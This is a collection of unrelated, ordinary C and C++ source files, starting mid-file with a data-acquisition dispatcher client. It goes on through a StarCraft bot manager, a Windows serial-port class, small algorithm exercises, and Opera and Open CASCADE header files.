INTERRUPTED!!! ***\n\n"); } extern "C" { void SendBeginTape(int runNo) { char msg[1024]; sprintf(msg,"BEGINTAPE:%d",runNo); fprintf(stderr,"DisFeedDAQ: Sending BEGINTAPE:%d...\n",runNo); disIO_command(msg); } void SendEndTape(void) { printf("DisFeedDAQ: Sending ENDTAPE...\n"); disIO_command("ENDTAPE"); } const itape_header_t *GetEvent(void) { eventsSent ++; return GetEvent1(); } const itape_header_t *GetEvent1(void) { const itape_header_t *event; event = (itape_header_t *)data_getItape(dataPtr,&dataNext); dataPtr = dataNext; return event; } } int GetDispatcherCommand(itape_header_t *buffer) { int retval = 0; int ret; int maxSend = 2; int OkToSendData = 1; int WaitForALLFINISHED = 0; int runNo; /* wait for command from Dispatcher */ fd_set rset; fd_set wset; struct timeval timeout; int maxfd = 0; FD_ZERO(&rset); FD_ZERO(&wset); FD_SET(disIO_socket,&rset); if (disIO_socket > maxfd) maxfd = disIO_socket; if (OkToSendData && (requestedRawData > 0)) { FD_SET(disIO_socket,&wset); if (disIO_socket > maxfd) maxfd = disIO_socket; } timeout.tv_sec = 30; timeout.tv_usec = 0; if (OkToSendData && (requestedRawData > 0)) { timeout.tv_sec = 30; timeout.tv_usec = 0; } // ret = select(maxfd + 1, &rset, &wset, NULL, &timeout); ret = select(maxfd + 1, &rset, NULL, NULL, &timeout); if (ret < 0) { fprintf(stderr,"DisFeedDAQ: Error: select() returned %d, errno: %d (%s)\n",ret,errno,strerror(errno)); // exitFlag = 1; exit(0); } cerr << "ret: " << ret << endl; if (ret) { /* ok, we got a command. Now parse it */ static char *msg = NULL; static int msglen = 0; char *cmd0; char *word; int maybeUnexpected = 0; if (msg) free(msg); msg = NULL; ret = disIO_readRAW_alloc((void **) &msg,&msglen,0); switch (ret) { case DISIO_EOF: cerr << "End-of-File" << endl; retval = 0; break; case DISIO_COMMAND: retval = ret; // cerr << "COMMAND FROM GIANT HEAD" << endl; if (msg) { word = strtok(msg,":"); if (word) { cerr << "COMMAND: " << word << endl; if (strcmp(word,"NOP") == 0) { /* do nothing */ } else if (strcmp(word,"PING") == 0) { printf("DisFeedDAQ: Command from Dispatcher: %s\n",word); disIO_command("PING-REPLY"); } else if (strcmp(word,"REQUEST_DATA") == 0) { int imore; /* fprintf(stderr,"DisFeedDAQ: Command from Dispatcher: %s\n",word); */ word = strtok(NULL,":"); if (word) imore = strtoul(word,NULL,0); else imore = 1; /* printf("REQUEST_DATA: more: %d, requested events: %d, sent: %d\n",imore,requestedRawData,isent); */ requestedRawData += imore; retval = SendData2Dispatcher(buffer); } else if (strcmp(word,"MAXSEND") == 0) { fprintf(stderr,"DisFeedDAQ: Command from Dispatcher: %s\n",word); word = strtok(NULL,":"); if (word) maxSend = strtoul(word,NULL,0); printf("DisFeedDAQ: New maxSend is %d\n",maxSend); } else if (strcmp(word,"ALLFINISHED") == 0) { if (WaitForALLFINISHED) { fprintf(stderr,"DisFeedDAQ: Command ALLFINISHED from Dispatcher: %s\n",word); SendBeginTape(runNo); OkToSendData = 1; WaitForALLFINISHED = 0; } else { fprintf(stderr,"DisFeedDAQ: Unexpected command ALLFINISHED from Dispatcher was ignored.\n"); } } else if (strcmp(word,"QUIT") == 0) { fprintf(stderr,"DisFeedDAQ: Command QUIT from Dispatcher: %s\n",word); exit(0); } else if (strcmp(word,"EXIT") == 0) { fprintf(stderr,"DisFeedDAQ: Command EXIT from Dispatcher: %s\n",word); exit(0); } else { fprintf(stderr,"DisFeedDAQ: Unexpected command from Dispatcher: [%s] was ignored.\n",msg); } } } else { cerr << "Received NULL message from the Dispatcher" << endl; } } } else { cerr << "timeout" << endl; retval = 1; } return(retval); } /* end file */
#include "Produto.hpp" using namespace std; Produto::Produto(char nome[50], string categoria, float preco, int qntdEstoque){ setNome(nome); setPreco(preco); setCategoria(categoria); setPreco(preco); setQntdEstoque(qntdEstoque); cout << "\n" << getQntdEstoque() << " " << getNome() << " registrado(s) no estoque de " << getCategoria() << ".\n" << endl; } Produto::~Produto() { //Sem necessidade de implementação } //Getters string Produto::getNome(){ return this->nome; } string Produto::getCategoria(){ return this->categoria; } float Produto::getPreco(){ return this->preco; } int Produto::getQntdEstoque(){ return this->qntdEstoque; } //Setters void Produto::setNome(char nome[50]){ this->nome = nome; } void Produto::setPreco(float preco){ this->preco = preco; } void Produto::setCategoria(string categoria){ this->categoria = categoria; } void Produto::setQntdEstoque(int qntdEstoque){ this->qntdEstoque = qntdEstoque; }
#pragma once #include "GameManager.h" #include "UnitManager.h" #include "BuildManager.h" #include "InformationManager.h" GameManager::GameManager() { } void GameManager::onStart() { BWAPI::Unit resourceDepot = nullptr; for (BWAPI::Unit unit : BWAPI::Broodwar->self()->getUnits()) { if (unit && unit->getType().isResourceDepot()) { resourceDepot = unit; break; } } if (resourceDepot) { BaseManager originalBase(resourceDepot->getPosition()); InformationManager::Instance().addBase(originalBase); } BuildManager::Instance().onStart(); UnitManager::Instance().onStart(); } void GameManager::onFrame() { BuildManager::Instance().onFrame(); for (BaseManager base : InformationManager::Instance().getBases()) { base.onFrame(); } UnitManager::Instance().onFrame(); GameManager::maintainSupplyCapacity(); GameManager::maintainGas(); GameManager::balancedStrategy(); } void GameManager::maintainSupplyCapacity() { const int totalSupply = InformationManager::Instance().getTotalSupply(true); const int totalSupplyNow = InformationManager::Instance().getTotalSupply(false); const int usedSupply = InformationManager::Instance().usedSupply(); const int unusedSupply = totalSupply - usedSupply; const BWAPI::UnitType supplyProviderType = BWAPI::Broodwar->self()->getRace().getSupplyProvider(); const int numOfSupplyProviders = InformationManager::Instance().getCountOfType(supplyProviderType); if (unusedSupply > 2 && numOfSupplyProviders != 0 && totalSupplyNow != usedSupply) { return; } if (totalSupplyNow <= usedSupply) { BuildManager::Instance().purgeCamper(); } BuildManager::Instance().Build(supplyProviderType); } void GameManager::maintainGas() { const int totalSupply = InformationManager::Instance().totalSupply(); const BWAPI::UnitType refineryType = BWAPI::Broodwar->self()->getRace().getRefinery(); const int numOfRefineries = InformationManager::Instance().getCountOfType(refineryType); if (totalSupply <= 40 || numOfRefineries != 0) { return; } BWAPI::Unit geyser = SmartUtils::GetClosestUnitTo(BWAPI::Position(BWAPI::Broodwar->self()->getStartLocation()), BWAPI::Broodwar->getGeysers()); if (!geyser) { return; } BuildManager::Instance().Build(geyser->getPosition(), refineryType); } void GameManager::followStrategy(std::vector<std::pair<BWAPI::UnitType, int>> strategy) { bool cp = true; BWAPI::Position chokePoint; if (strategy.empty()) { return; } std::vector<int> chokePoints = InformationManager::Instance().getBases()[0].getChokePoints(); if (chokePoints.empty()) { cp = false; } if (cp) { chokePoint = BWAPI::Broodwar->getRegion(chokePoints[0])->getCenter(); if (!chokePoint) { cp = false; } } auto buildWhatYouCan = [&](BWAPI::UnitType type) { auto needed = BuildManager::Instance().BuildingsNeeded(type); for (BWAPI::UnitType need : needed) { BWAPI::Position pos = BWAPI::Position(BWAPI::Broodwar->self()->getStartLocation()); if (cp && chokePoint) { if (BWAPI::UnitTypes::Protoss_Pylon == need || BWAPI::UnitTypes::Protoss_Photon_Cannon == need) { pos = chokePoint; } } BuildManager::Instance().Build(pos, need); } }; int done = 0; for (auto build : strategy) { BWAPI::UnitType type = build.first; if (type == BWAPI::UnitTypes::Protoss_Gateway && !InformationManager::Instance().isCamperWorking()) { return; } if (InformationManager::Instance().getCountOfType(type) < build.second) { buildWhatYouCan(type); if (!type.isBuilding()) { SmartUtils::SmartTrain(type); } } else { done++; } } if (done == strategy.size()) { UnitManager::Instance().attack(); } } void GameManager::balancedStrategy() { std::vector<std::pair<BWAPI::UnitType, int>> strat = std::vector<std::pair<BWAPI::UnitType, int>>(); auto add = [&](BWAPI::UnitType type, int count) { strat.push_back(std::pair<BWAPI::UnitType, int>(type, count)); }; add(BWAPI::UnitTypes::Protoss_Pylon, 1); add(BWAPI::UnitTypes::Protoss_Forge, 1); add(BWAPI::UnitTypes::Protoss_Gateway, 1); add(BWAPI::UnitTypes::Protoss_Zealot, 20); add(BWAPI::UnitTypes::Protoss_Dragoon, 10); if (InformationManager::Instance().getMinerals() >= 500) { if (InformationManager::Instance().getCountOfType(BWAPI::UnitTypes::Protoss_Gateway) < 2) { add(BWAPI::UnitTypes::Protoss_Gateway, 2); } if (BWAPI::Broodwar->self()->getUpgradeLevel(BWAPI::UpgradeTypes::Protoss_Plasma_Shields) <= 1) { SmartUtils::SmartUpgrade(BWAPI::UpgradeTypes::Protoss_Plasma_Shields); } if (BWAPI::Broodwar->self()->getUpgradeLevel(BWAPI::UpgradeTypes::Singularity_Charge) < 1) { SmartUtils::SmartUpgrade(BWAPI::UpgradeTypes::Singularity_Charge); } } GameManager::followStrategy(strat); }
/* This file is on implemention of com. */ #ifndef _COM_CLASS_H_ #define _COM_CLASS_H_ #pragma warning(disable: 4530) #pragma warning(disable: 4786) #pragma warning(disable: 4800) #include <cassert> #include <strstream> #include <algorithm> #include <exception> #include <atlstr.h> #define STRSAFE_NO_DEPRECATE #include <strsafe.h> // for String... functions #include <iomanip> using namespace std; #include <windows.h> class _base_com //虚基类 基本串口接口 { public: volatile int _port; //串口号 volatile HANDLE _com_handle;//串口句柄 DCB _dcb; //波特率,停止位,等 int _in_buf, _out_buf; // 缓冲区 COMMTIMEOUTS _co; // 超时时间 //虚函数,用于不同方式的串口打开 virtual bool open_port() = 0; void init() //初始化 { memset(&_dcb, 0, sizeof(_dcb)); _dcb.DCBlength = sizeof(_dcb); _com_handle = INVALID_HANDLE_VALUE; _in_buf = _out_buf = 8192; memset(&_co, 0, sizeof(_co)); _co.ReadIntervalTimeout = 0xFFFFFFFF; _co.ReadTotalTimeoutMultiplier = 0; _co.ReadTotalTimeoutConstant = 0; _co.WriteTotalTimeoutMultiplier = 0; _co.WriteTotalTimeoutConstant = 5000; } public: _base_com() { init(); } virtual ~_base_com() { close(); } /*基本参数设置*/ //设置串口参数:波特率,停止位,等 inline bool set_para() { return is_open() ? SetCommState(_com_handle, &_dcb) : false; } //打开设置对话框 bool config_dialog() { if (is_open()) { COMMCONFIG cf; memset(&cf, 0, sizeof(cf)); cf.dwSize = sizeof(cf); cf.wVersion = 1; char com_str[10]; strcpy(com_str, "COM"); ltoa(_port, com_str + 3, 10); CString str = CString(com_str); if (CommConfigDialog(str, NULL, &cf)) { memcpy(&_dcb, &cf.dcb, sizeof(DCB)); return SetCommState(_com_handle, &_dcb); } } return false; } //支持设置字符串 "9600, 8, n, 1" bool set_dcb(char *set_str) { CString str = CString(set_str); return bool(BuildCommDCB(str, &_dcb)); } //设置内置结构串口参数:波特率,停止位 bool set_dcb(int BaudRate, int ByteSize = 8, int Parity = NOPARITY, int StopBits = ONESTOPBIT) { _dcb.BaudRate = BaudRate; _dcb.ByteSize = ByteSize; _dcb.Parity = Parity; _dcb.StopBits = StopBits; return true; } //设置缓冲区大小 inline bool set_buf(int in_buf, int out_buf) { return is_open() ? SetupComm(_com_handle, in_buf, out_buf) : false; } //打开串口 缺省 9600, 8, n, 1 inline bool open(int port) { if (port < 1 || port > 1024) return false; _port = port; return open_port(); } //打开串口 缺省 baud_rate, 8, n, 1 inline bool open(int port, int baud_rate) { if (port < 1 || port > 1024) return false; set_dcb(baud_rate); _port = port; return open_port(); } //打开串口 inline bool open(int port, char *set_str) { if (port < 1 || port > 1024) return false; CString str = CString(set_str); if (!BuildCommDCB(set_str, &_dcb)) return false; _port = port; return open_port(); } //关闭串口 inline virtual void close() { if (is_open()) { CloseHandle(_com_handle); _com_handle = INVALID_HANDLE_VALUE; } } //判断串口是或打开 inline bool is_open() { return _com_handle != INVALID_HANDLE_VALUE; } //获得串口句炳 HANDLE get_handle() { return _com_handle; } }; class _sync_com : public _base_com { protected: //打开串口 virtual bool open_port() { if (is_open()) close(); char com_str[10]; strcpy(com_str, "COM"); ltoa(_port, com_str + 3, 10); CString str = CString(com_str); _com_handle = CreateFile( str, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); assert(is_open()); if (!is_open())//检测串口是否成功打开 return false; BOOL ret; ret = SetupComm(_com_handle, _in_buf, _out_buf); //设置推荐缓冲区 assert(ret); ret &= SetCommState(_com_handle, &_dcb); //设置串口参数:波特率,停止位,等 assert(ret); ret &= SetCommTimeouts(_com_handle, &_co); //设置超时时间 assert(ret); ret &= PurgeComm(_com_handle, PURGE_TXABORT | PURGE_RXABORT | PURGE_TXCLEAR | PURGE_RXCLEAR); //清空串口缓冲区 assert(ret); if (!ret) { close(); return false; } return true; } public: _sync_com() { _co.ReadTotalTimeoutConstant = 5000; } //同步读 int read(char *buf, int buf_len) { if (!is_open()) return 0; buf[0] = '\0'; COMSTAT stat; DWORD error; if (ClearCommError(_com_handle, &error, &stat) && error > 0) //清除错误 { PurgeComm(_com_handle, PURGE_RXABORT | PURGE_RXCLEAR); /*清除输入缓冲区*/ return 0; } unsigned long r_len = 0; buf_len = min(buf_len - 1, (int)stat.cbInQue); if (!ReadFile(_com_handle, buf, buf_len, &r_len, NULL)) r_len = 0; //buf[r_len] = '\0'; return r_len; } //同步写 int write(const char *buf, int buf_len) { if (!is_open() || !buf) return 0; DWORD error; if (ClearCommError(_com_handle, &error, NULL) && error > 0) //清除错误 PurgeComm(_com_handle, PURGE_TXABORT | PURGE_TXCLEAR); unsigned long w_len = 0; if (!WriteFile(_com_handle, buf, buf_len, &w_len, NULL)) w_len = 0; return w_len; } //同步写 inline int write(const char *buf) { assert(buf); return write(buf, strlen(buf)); } //同步写, 支持部分类型的流输出 template<typename T> _sync_com& operator << (T x) { strstream s; s << x; write(s.str(), s.pcount()); return *this; } }; #endif _COM_CLASS_H_
#include "josephus.h" JosephusRing::JosephusRing() { current_id_ = 0; step_ = 1; } JosephusRing::JosephusRing(unsigned start, unsigned step) { current_id_ = start - 1; step_ = step; } JosephusRing::~JosephusRing() { } void JosephusRing::append(Person target) { people_.push_back(target); } vector<Person> JosephusRing::ringSort() { vector<Person> result; unsigned up_bound = people_.size(); for (unsigned i = 0; i != up_bound; ++i) { current_id_ = (current_id_ + step_ - 1) % people_.size(); result.push_back(people_[current_id_]); people_.erase(people_.begin() + current_id_); } return result; }
#include <bits/stdc++.h> #define MAX 1010 using namespace std; vector<int>lista[MAX]; int color[MAX]; int GRAPHtwocolor(int n); int dfsRcolor(int v, int c); int main() { int N, lig; scanf("%d", &N); for(int i=0;i<N;i++) for(int j=0;j<N;j++) { scanf("%d", &lig); if(lig==0) { lista[i].push_back(j); lista[j].push_back(i); } } if(GRAPHtwocolor(N)==1) printf("Bazinga!\n"); else printf("Fail!\n"); return 0; } int GRAPHtwocolor(int n) { int c = 0; for(int i=0;i<n;i++) color[i] = -1; for(int i=0;i<n;i++) if(color[i]==-1) if(dfsRcolor(i, 0)==0) return 0; return 1; } int dfsRcolor(int v, int c) { color[v] = 1-c; for(int i=0;i<lista[v].size();i++) { if(color[lista[v][i]]==-1) { if(dfsRcolor(lista[v][i], 1-c)==0) return 0; } else if(color[lista[v][i]]==1-c) return 0; } return 1; }
#include "quadrato.h" double quadrato::numeroFisso = 0.5; double quadrato::getfisso() const { return numeroFisso; } double quadrato::area() const { return lato()*lato(); }
#include "Controller.h" Controller::Controller() { globalInput = new Input(); animation = new Animation(); if (s3eOSReadStringAvailable() == S3E_TRUE) isTextInputAvalible = true; else isTextInputAvalible = false; vertex_touched_index = 0; } Controller::~Controller() { if (animation != NULL) { delete animation; animation = NULL; } if (globalInput != NULL) { delete globalInput; globalInput = NULL; } } bool isOnDrawfield(uint u_x, uint u_y) { uint offset = vertex_diameter + 1; if (((u_x >= drawingField_x0 + offset) && (u_x <= drawingField_xE - offset)) && ((u_y >= drawingField_y0 + offset) && (u_y <= drawingField_yE - offset))) { return true; } return false; } /*Main function of controller*/ const DrawField* Controller::update() { //Updating user input s3eKeyboardUpdate(); s3ePointerUpdate(); //Getting pointer coordinates uint u_x = userInput.getX(); uint u_y = userInput.getY(); //If user's finger found on the drawfield if (userInput.getTouchedState()) { if (isOnDrawfield(u_x,u_y)) { DrawField* currentSlide = animation->getCurrentSlide(); if (vertex_touched_index == 0) { //If user's finger is on one of the vertices vector<Point> centeres = currentSlide->getCenters(); //Taking vertex that have been moved to this area (if more than one vertex is touched) for (uint i = 0; i < centeres.size(); i++) { uint c_x = centeres[i].x; uint c_y = centeres[i].y; uint a = c_x > u_x ? c_x - u_x : u_x - c_x; uint b = c_y > u_y ? c_y - u_y : u_y - c_y; uint c = drawingField_y0; if ((a <= vertex_diameter) && (b <= vertex_diameter)) { vertex_touched_index = i + 1; } } } else { currentSlide->changeVertexPosition(vertex_touched_index, u_x, u_y); } currentSlide = NULL; } } //If user tapped anywhere except drawfield else if (!userInput.getTouchedState() && userInput.getPrevTouchedState()) { vertex_touched_index = 0; if (!isOnDrawfield(u_x, u_y)) { userInput.Reset(); //Buttons: //Next slide if (u_x > button_next_x0 && u_x < button_next_xE && u_y > button_next_y0 && u_y < button_next_yE) { return animation->getNextSlide(); } //Previous slide else if (u_x > button_prev_x0 && u_x < button_prev_xE && u_y > button_prev_y0 && u_y < button_prev_yE){ return animation->getPrevSlide(); } //Add a new white slide after this one else if (u_x > button_adds_x0 && u_x < button_adds_xE && u_y > button_adds_y0 && u_y < button_adds_yE){ animation->addNewSlideAfterThis(); return animation->getCurrentSlide(); } //Delete this slide else if (u_x > button_dels_x0 && u_x < button_dels_xE && u_y > button_dels_y0 && u_y < button_dels_yE){ animation->deleteSlide(); return animation->getCurrentSlide(); } //Add new vertex to the center of the field else if (u_x > button_addv_x0 && u_x < button_addv_xE && u_y > button_addv_y0 && u_y < button_addv_yE){ animation->getCurrentSlide()->addVertex((drawingField_x0 + drawingField_xE) / 2, (drawingField_y0 + drawingField_yE) / 2); return animation->getCurrentSlide(); } if (isTextInputAvalible) { //Delete vertex if (u_x > button_delv_x0 && u_x < button_delv_xE && u_y > button_delv_y0 && u_y < button_delv_yE){ const char* vert_num_s = s3eOSReadStringUTF8WithDefault("Enter number of vertex to delete", "1", S3E_OSREADSTRING_FLAG_NUMBER); uint vert_num = 0; if (vert_num_s != NULL) { vert_num = atoi(vert_num_s); if (vert_num <= animation->getCurrentSlide()->getVerticesCount() && vert_num > 0) animation->getCurrentSlide()->deleteVertex(vert_num); } return animation->getCurrentSlide(); } //Add new edge else if (u_x > button_adde_x0 && u_x < button_adde_xE && u_y > button_adde_y0 && u_y < button_adde_yE){ uint first_vertex_num = 0; uint second_vertex_num = 0; const char* first_vertex_num_s = s3eOSReadStringUTF8WithDefault("Enter number of first vertex to connect", "1", S3E_OSREADSTRING_FLAG_NUMBER); if (first_vertex_num_s != NULL){ first_vertex_num = atoi(first_vertex_num_s); } const char* second_vertex_num_s = s3eOSReadStringUTF8WithDefault("Enter number of second vertex to connect", "2", S3E_OSREADSTRING_FLAG_NUMBER); if (second_vertex_num_s != NULL){ second_vertex_num = atoi(second_vertex_num_s); } uint vertex_count = animation->getCurrentSlide()->getVerticesCount(); if (first_vertex_num <= vertex_count && second_vertex_num <= vertex_count) { if (first_vertex_num > 0 && second_vertex_num > 0) animation->getCurrentSlide()->addEdge(first_vertex_num, second_vertex_num); } return animation->getCurrentSlide(); } //Delete edge else if (u_x > button_dele_x0 && u_x < button_dele_xE && u_y > button_dele_y0 && u_y < button_dele_yE){ uint first_vertex_num = 0; uint second_vertex_num = 0; const char* first_vertex_num_s = s3eOSReadStringUTF8WithDefault("Enter number of first vertex to disconnect", "1", S3E_OSREADSTRING_FLAG_NUMBER); if (first_vertex_num_s != NULL){ first_vertex_num = atoi(first_vertex_num_s); } const char* second_vertex_num_s = s3eOSReadStringUTF8WithDefault("Enter number of second vertex to disconnect", "2", S3E_OSREADSTRING_FLAG_NUMBER); if (second_vertex_num_s != NULL){ second_vertex_num = atoi(second_vertex_num_s); } uint vertex_count = animation->getCurrentSlide()->getVerticesCount(); if (first_vertex_num <= vertex_count && second_vertex_num <= vertex_count) { if (first_vertex_num > 0 && second_vertex_num > 0) animation->getCurrentSlide()->deleteEdge(first_vertex_num, second_vertex_num); } return animation->getCurrentSlide(); } //Save animation else if (u_x > button_save_x0 && u_x < button_save_xE && u_y > button_save_y0 && u_y < button_save_yE){ const char* filename = s3eOSReadStringUTF8WithDefault("Enter filename to save in", "nekki.nnl", S3E_OSREADSTRING_FLAG_URL); if (filename != NULL) { animation->saveAnimation(filename); } return animation->getCurrentSlide(); } //Load animation else if (u_x > button_load_x0 && u_x < button_load_xE && u_y > button_load_y0 && u_y < button_load_yE){ const char* filename = s3eOSReadStringUTF8WithDefault("Enter filename to load from", "nekki.nnl", S3E_OSREADSTRING_FLAG_URL); if (filename != NULL) { animation->loadAnimation(filename); } return animation->getCurrentSlide(); } } } } return animation->getCurrentSlide(); }
#ifndef LIBRARY_H #define LIBRARY_H #include <vector> #include <string> #include "publication.h" class Library { public: /* Singleton pattern components */ static Library & get_instance() { static Library instance; return instance; } Library(Library const &) = delete; void operator=(Library const &) = delete; /* Library functionality */ void add_publication(Publication); void check_out(int, std::string, std::string); void check_in(int); std::string publication_to_string(int); int number_of_publications(); private: std::vector<Publication> _publications; Library(); }; #endif
#include <bits/stdc++.h> using namespace std; bool huiwen(int n){ bool r; int t = 0; int x = n; while(x != 0){ t = t * 10 + x % 10; x = x / 10; } if(t == n){ r = true; }else{ r = false; } return r; } bool sushu(int n){ bool r = true; int i; for(i = 2;i <= sqrt(n);i++){ if(n % i == 0){ r = false; } } if(n <= 1){ r = false; } return r; } int main(){ int i; for(i = 10;i <= 1000;i++){ if(huiwen(i) == true && sushu(i) == true ){ cout<<i<<endl; } } return 0; }
/* -*- Mode: c++; tab-width: 4; indent-tabs-mode: t; c-basic-offset: 4 -*- * * Copyright (C) 1995-2007 Opera Software AS. All rights reserved. * * This file is part of the Opera web browser. It may not be distributed * under any circumstances. */ #ifndef OPACCESSIBILITYENUMS_H #define OPACCESSIBILITYENUMS_H #ifdef ACCESSIBILITY_EXTENSION_SUPPORT namespace Accessibility { const int NoSuchChild = -1; enum { kSelectionSetSelect = 1 << 0, // Set selection to child, (click) kSelectionSetAdd = 1 << 1, // Add child to selection, (ctrl-click) kSelectionSetRemove = 1 << 2, // Remove child from selection (ctrl-click) kSelectionSetExtend = 1 << 3, // Extend selection to child (shift-click) kSelectionSelectAll = 1 << 4, // Select everything. Parameter ignored. kSelectionDeselectAll = 1 << 5 // Deselect everything. Parameter ignored. }; typedef UINT32 SelectionSet; typedef enum { kScrollToTop, kScrollToBottom, kScrollToAnywhere, } ScrollTo; typedef enum { kElementKindApplication, // A window or web page that behaves like a stand-alone application. Widgets could be an example of this. kElementKindWindow, // Windows are usually supplied with all relevant information by the system, but this can be used for additional (help) information that isn't endemic to the native window object. kElementKindAlert, // A simple alert box/area, an example would be the yellow warning area on top of pages in IE. Only used by alerts written in DOM using ARIA kElementKindAlertDialog, // A simple alert dialog. Quick dialogs are automatically labled as such, so this is only used by dialogs written in DOM using ARIA kElementKindDialog, // A dialog. Quick dialogs are automatically labled as such, so this is only used by dialogs written in DOM using ARIA. kElementKindView, // View controls normally have no real functionality (mostly just containers), and implementer is free to ignore them. kElementKindWebView, // A browser area... A ViualDevice, in our case. This can help the user locate the "interesting" information. kElementKindToolbar, kElementKindButton, // If it can be clicked, and doesn't fall into any other category it is a button. kElementKindCheckbox, kElementKindDropdown, kElementKindRadioTabGroup, // Important to properly put radio buttons/tabs in a group rather that rely on visual hints. kElementKindRadioButton, // The parent of a radio button IS ALWAYS a radio tab group, even if there is only one radio in that group. kElementKindTab, // The parent of a tab is always a radio tab group kElementKindStaticText, // Explanatory text in dialog as well as the most important type inside the document. A paragraph of text is the most that should be fit in one text element. kElementKindSinglelineTextedit, kElementKindMultilineTextedit, kElementKindHorizontalScrollbar, kElementKindVerticalScrollbar, kElementKindScrollview, kElementKindSlider, kElementKindProgress, // Progress indicator. For indeterminate progress bars max value is -1, otherwise max is positive and 0 <= value <= max value. kElementKindLabel, // Labels functions as description for controls that have no title of their own. kElementKindDescriptor, // A descriptor for an object. Sort of like labels, but needs to be mapped to other relations in ATK/IAccessible2 kElementKindLink, // Links usually either have some text of their own, or contain one or more elements of type kElementKindStaticText or kElementKindImage. kElementKindImage, // All images in a document. kElementKindMenuBar, // A Menu bar. kElementKindMenu, // A must-have for the various things Opera displays that are intended to function/look like menus, such as form select elements & Autocomplete drop-down. kElementKindMenuItem, kElementKindList, // Simple list of rows, non-expandable, one column kElementKindGrid, // A "list" of items in grid formation (like many OS'es display files). Not a table, because "row" and "column" are unimportant, basically this is a list randomly ordered in 2 dimensions. kElementKindOutlineList, // List of expandable rows. kElementKindTable, // Table with columns and rows, usually non-expandable kElementKindHeaderList, // List of header buttons kElementKindListRow, // A row in a table. Contains one item per column of the table. Parent of list rows is always a list, outline list, table or grid. kElementKindListHeader, // Column header (on rare occations a row header) kElementKindListColumn, // A column in a table. Contains one item per row. Parent of list rows are always a list, outline list, table or grid. NOTE that the parents of these children is the row, not the column! kElementKindListCell, // A cell in a table or grid. Lists and outline lists don't have cells, they only have rows. kElementKindScrollbarPartArrowUp, // The "line up" button in a scrollbar kElementKindScrollbarPartArrowDown, // The "line down" button in a scrollbar kElementKindScrollbarPartPageUp, // The part of the track above/before the knob. Page up. kElementKindScrollbarPartPageDown, // The part of the track below/after the knob. Page down. kElementKindScrollbarPartKnob, // The bit you grab to scroll to a specific spot. kElementKindDropdownButtonPart, // The "arrow down" bit. kElementKindDirectory, kElementKindDocument, kElementKindLog, kElementKindPanel, kElementKindWorkspace, kElementKindSplitter, kElementKindSection, // A section of a document or a div kElementKindParagraph, // A paragraph of a document kElementKindForm, kElementKindUnknown } ElementKind; enum { kAccessibilityStateNone = 0, kAccessibilityStateFocused = 1 << 0, kAccessibilityStateDisabled = 1 << 1, kAccessibilityStateInvisible = 1 << 2, kAccessibilityStateOffScreen = 1 << 3, kAccessibilityStateCheckedOrSelected = 1 << 4, kAccessibilityStateGrayed = 1 << 5, kAccessibilityStateAnimated = 1 << 6, kAccessibilityStateExpanded = 1 << 7, kAccessibilityStatePassword = 1 << 8, kAccessibilityStateReadOnly = 1 << 9, kAccessibilityStateTraversedLink = 1 << 10, kAccessibilityStateDefaultButton = 1 << 11, kAccessibilityStateCancelButton = 1 << 12, kAccessibilityStateExpandable = 1 << 13, kAccessibilityStateReliesOnLabel = 1 << 14, kAccessibilityStateReliesOnDescriptor = 1 << 15, kAccessibilityStateMultiple = 1 << 16, kAccessibilityStateBusy = 1 << 17, kAccessibilityStateRequired = 1 << 18, kAccessibilityStateInvalid = 1 << 19 }; typedef UINT32 State; typedef enum { kAccessibilityEventMoved, //The widget has moved relatively to its parent kAccessibilityEventResized, //The size of the widget has changed kAccessibilityEventTextChanged, //The visual title of the widget has changed (or the title it would have if the display of the text was turned on) kAccessibilityEventTextChangedBykeyboard, //Same as previous event, except that the text has been explicitly changed by the user kAccessibilityEventDescriptionChanged, //The description (tooltip) of the widget has changed kAccessibilityEventURLChanged, //Usually only useful for kElementKindLink kAccessibilityEventSelectedTextRangeChanged, kAccessibilityEventSelectionChanged, kAccessibilityEventSetLive, //The feedback level/rudeness of the widget/area has changed. The screen-reader should pay attention to this area kAccessibilityEventStartDragAndDrop, kAccessibilityEventEndDragAndDrop, kAccessibilityEventStartScrolling, kAccessibilityEventEndScrolling, kAccessibilityEventReorder } EventType; //Stores an event that can either be one of the EventType constants //or a state mask indicating which states have changed (have been set or unset) typedef struct _Event { union { State state_event; EventType event_type; } event_info; BOOL is_state_event; _Event(State state_event) { event_info.state_event = state_event; is_state_event = TRUE; } _Event(EventType event_type) { event_info.event_type = event_type; is_state_event = FALSE; } } Event; } #endif //OPACCESSIBILITYENUMS_H #endif //ACCESSIBILITY_EXTENSION_SUPPORT
// Created on: 1993-10-26 // Created by: Christian CAILLET // Copyright (c) 1993-1999 Matra Datavision // Copyright (c) 1999-2014 OPEN CASCADE SAS // // This file is part of Open CASCADE Technology software library. // // This library is free software; you can redistribute it and/or modify it under // the terms of the GNU Lesser General Public License version 2.1 as published // by the Free Software Foundation, with special exception defined in the file // OCCT_LGPL_EXCEPTION.txt. Consult the file LICENSE_LGPL_21.txt included in OCCT // distribution for complete text of the license and disclaimer of any warranty. // // Alternatively, this file may be used under the terms of Open CASCADE // commercial license or contractual agreement. #ifndef _IGESData_FileProtocol_HeaderFile #define _IGESData_FileProtocol_HeaderFile #include <Standard.hxx> #include <Standard_Type.hxx> #include <IGESData_Protocol.hxx> #include <Standard_Integer.hxx> class Interface_Protocol; class IGESData_FileProtocol; DEFINE_STANDARD_HANDLE(IGESData_FileProtocol, IGESData_Protocol) //! This class allows to define complex protocols, in order to //! treat various sub-sets (or the complete set) of the IGES Norm, //! such as Solid + Draw (which are normally independent), etc... //! While it inherits Protocol from IGESData, it admits UndefinedEntity too class IGESData_FileProtocol : public IGESData_Protocol { public: //! Returns an empty FileProtocol Standard_EXPORT IGESData_FileProtocol(); //! Adds a resource Standard_EXPORT void Add (const Handle(IGESData_Protocol)& protocol); //! Gives the count of Resources : the count of Added Protocols Standard_EXPORT virtual Standard_Integer NbResources() const Standard_OVERRIDE; //! Returns a Resource, given a rank (rank of call to Add) Standard_EXPORT virtual Handle(Interface_Protocol) Resource (const Standard_Integer num) const Standard_OVERRIDE; DEFINE_STANDARD_RTTIEXT(IGESData_FileProtocol,IGESData_Protocol) private: Handle(IGESData_Protocol) theresource; Handle(IGESData_FileProtocol) thenext; }; #endif // _IGESData_FileProtocol_HeaderFile
